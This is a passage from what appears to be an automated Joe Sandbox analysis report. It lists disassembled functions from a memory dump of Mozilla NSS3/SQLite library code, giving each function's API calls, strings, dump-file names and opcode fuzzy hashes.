memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD99
sqlite3_free.NSS3(00000000), ref: 6C60FE3C
sqlite3_free.NSS3(?), ref: 6C60FEE3
sqlite3_free.NSS3(?), ref: 6C60FEEE

Strings

simple, xrefs: 6C60FC79

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction ID: a0eb2b849312b69667060bcbc53ced64dd3bae5e5d0075c7d283f902c6e4c167
Opcode Fuzzy Hash: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction Fuzzy Hash: 279151B0B012059FDB08CF55CA84AAAB7F1FF85318F248568D819AB752E731E842CB59

Function 6C615CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C615EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C615EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6C615E64
API call with %s database connection pointer, xrefs: 6C615EC3
%s at line %d of [%.10s], xrefs: 6C615EE0
invalid, xrefs: 6C615EBE
misuse, xrefs: 6C615EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C615ED1

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction ID: af798abacb70c706a9d4110527c716fb776e8c1a76ade42817da7f5b2c307402
Opcode Fuzzy Hash: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction Fuzzy Hash: B3819170F196119BEB198E2DC858BAAF3B1BF4130AF284269D8155BF51D730E842CB9D

Function 6C5FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDF78

Strings

%s at line %d of [%.10s], xrefs: 6C5FDE61, 6C5FDE90
database corruption, xrefs: 6C5FDE5C, 6C5FDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FDE52, 6C5FDE81

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction ID: bf926ecedc4817768a17997e30bf38461ae7daedb74ad9fc9be13a0528364cef
Opcode Fuzzy Hash: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction Fuzzy Hash: 7081C2716043049FD718DF25CC84B6A77F1AF85308F15882DE9AA8BB51EB31E946CB62

Function 6C5ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5AB999), ref: 6C5AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5AB999), ref: 6C6F972B

Strings

%s at line %d of [%.10s], xrefs: 6C5ACFEC, 6C5AD018, 6C5AD029, 6C5AD03F, 6C6F978B
database corruption, xrefs: 6C5ACFE7, 6C5AD013, 6C5AD028, 6C5AD039, 6C5AD03E, 6C6F9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ACFDD, 6C5AD00E, 6C5AD022, 6C5AD033, 6C6F9780

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction ID: aa24017ff77aa5339b892c55a001e276984825be19626a744335374bb0f491b2
Opcode Fuzzy Hash: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction Fuzzy Hash: ED613871A043108BD310CF6ACC40BAAB7F6EF95318F68456DE4489BB42E376E947C7A1

Function 6C6AFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6B0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6B015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6B01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6B0202
free.MOZGLUE(?), ref: 6C6B0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B0253

Strings

exporter, xrefs: 6C6B00F7

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction ID: 068fba08e756e2bfa68bdeb83f889b76387ed3e41d3b908089505124a8fbad7e
Opcode Fuzzy Hash: f22d91ded89cb444376b5ff279a5d983911186427e51ed180f8ae755e7e00129
Instruction Fuzzy Hash: 1E6157B0900789ABEF158FA4CD00BEE7BB6FF4930CF104128ED1E66661EB319964C759

Function 6C684DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C68536F,00000022,?,?,00000000,?), ref: 6C684E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C684F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C684F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C684FAE
free.MOZGLUE(?), ref: 6C684FC8

Strings

oShl", xrefs: 6C684DFB, 6C684EF4, 6C684EC5
%s=%s, xrefs: 6C684F89
%s=%c%s%c, xrefs: 6C684FA9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oShl"
API String ID: 2709355791-1727155148
Opcode ID: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction ID: da13444c239467528910e736d3f8a389fcaa03b712730999f347325553075e87
Opcode Fuzzy Hash: 13664f03b62f94d9039e36812ebbbfd6749fa8f51dbfaa09fdbc81f313e211b5
Instruction Fuzzy Hash: C2515C31A071498BEF11CA69C4B47FF7BFD9F46348F188129E894B7A40D375880687B9

Function 6C6AEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEF6D

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

htonl.WSOCK32(00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFE4
htonl.WSOCK32(?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AEFF1
memcpy.VCRUNTIME140(?,?,6C6CA4A1,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6CA4A1,?,00000000,?,00000001), ref: 6C6AF027

Strings

dtls13, xrefs: 6C6AEF33

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction ID: f651f945041d3de3dd2d995ada1748b13bf3cc3cb7185132931121498db4da21
Opcode Fuzzy Hash: 30432fbb933ca6698f021f9c229de5595a58d35030760bbb4c0025b3c4847268
Instruction Fuzzy Hash: 85311671A01215AFC710DF68CC44B8AB7E4EF49348F158029E8189B751E731FD26CBE9

Function 6C62AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C62AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C749500,6C623F91), ref: 6C62AFD2

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

DER_GetInteger_Util.NSS3(?), ref: 6C62B007

Part of subcall function 6C676A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C621666,?,6C62B00C,?), ref: 6C676AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C62B02F
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C62B046
PL_FreeArenaPool.NSS3 ref: 6C62B058
PL_FinishArenaPool.NSS3 ref: 6C62B060

Strings

security, xrefs: 6C62AFB8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction ID: 46b92534f04f3d72616630528fb8a4e14620842a556651734e6a2538204a8e1b
Opcode Fuzzy Hash: f767c0e671992f57e6075c8d4902ce2a59e47d38b7cb39d5c041be825e6fcc94
Instruction Fuzzy Hash: 1B3106704053009BDB118F249C44BAAB7A4EFC636CF104619E9765BBD1E73A9149CB9F

Function 6C623E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
PL_FreeArenaPool.NSS3 ref: 6C623F14
PL_FinishArenaPool.NSS3 ref: 6C623F1C

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Strings

security, xrefs: 6C623EBC

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction ID: de1496cc10e7c07da26dab567faefcfe7bc66814224ecf776f4352b963113960
Opcode Fuzzy Hash: 9267e2b12d1a7440815bd2ae8a57622c87c0846848fca0abb4e3ecc671e14d58
Instruction Fuzzy Hash: 2D21F8B1904304ABD7148B15AC41FAB77A8BF8971CF04093DF959A7B41F734D6188BAE

Function 6C66CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C66CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C66CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C66D079

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction ID: bd71bc3be2d9716f521d93119fed798d4112e633a1dd4d7e0dcdc4704d2f6446
Opcode Fuzzy Hash: dcb1cba8c235d0380a4c45dae967e3e3a1abd4457f9927d6d5da5b63fdce0e1c
Instruction Fuzzy Hash: 22C191B1A002199BDB20CF15CC80BDAB7B4BF49308F2441A8D94D97B41E775EE95CF9A

Function 6C65DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6697C1,?,00000000,00000000,?,?,?,00000000,?,6C647F4A,00000000), ref: 6C65DC68

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C65DFAA

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 1c2392f76c856a6cbb9b47da866d3f6e3c3afb87ff3681672c9d93b696d4975d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 9E81D2707036058BFB114A18CE903AD72D6DB60748FB0843AD91ACAFE1E775C8E6C61E

Function 6C633C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C633C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C633C94

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PORT_NewArena_Util.NSS3(00000800), ref: 6C633CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C633CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C633CE1

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

